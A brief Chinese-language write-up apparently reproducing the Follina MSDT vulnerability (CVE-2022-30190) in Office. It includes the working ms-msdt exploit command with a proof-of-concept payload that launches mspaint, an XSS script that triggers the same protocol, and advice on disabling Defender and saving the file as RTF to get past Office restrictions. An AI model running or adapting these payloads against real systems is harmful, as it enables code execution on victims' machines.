CVE-2022-30190
虽迟但到
刚起床,然后有事,就看了下这个洞,几天前就看见过这个洞了,但是我是个废物就懒的弄。
漏洞原理
首先说一下自己对这个洞的理解,这个洞的本质就是msdt过滤的问题,导致msdt协议可以执行powershell代码。
但是这个洞为什么个Office能关联上呢?
因为Office在打开docx的时候可以加载一个web网页,然后web网页就能调用msdt协议,问题的关键就在于旧版本的Office在调用msdt协议的时候默认同意,而新版本则不同意,然后msdt绕过过滤就能执行powershell了。旧版本的Office应该是2013到2021 ltsc以下的,我用的2016复现成功,2021 pro plus则不行。
其实也不需要配合Office,浏览器就行,只不过需要手动点一下同意调用,这里可以直接利用xss,嘿嘿嘿。
漏洞代码
https://paper.seebug.org/1913/
Exp:
C:\Windows\system32\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=fff$(IEX('mspaint.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe "
一看这个exp就是为了绕过某种限制。
$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("$", "$") //没修复的
$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("`$", "``$") //修复过的
可以利用github这个项目快速生成一个exp word文件
https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed
漏洞测试
直接cmd运行一下这个
C:\Windows\system32\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=fff$(IEX('mspaint.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe "
如果能弹出画图就成功了,不能就是狗拦了或者系统打补丁了,Office也更不可能利用成功。
Office测试
如果打开的时候有请求记录但是没弹出计算器那就是Office版本问题(cmd能执行成功的情况下)。
OK
漏洞环境
Office:2013-2021ltsc(大概是)
Windows:卸载6月补丁,忘记kb号了,自己看看吧。关闭Defender,或者回退旧版本。
差不多就这样。
一些发现
可以直接配合xss,点击即上线。
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=fff$(IEX('mspaint.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
擦不知道为啥没成功,以后再试试吧,Google了也没看见,按道理说应该可以的。。。
感觉这个很难绕过,因为本质上我感觉是个逻辑漏洞,或许可以试试其他协议。
漏洞绕过
将生成的docx文件另存为rtf即可绕过Office版本限制。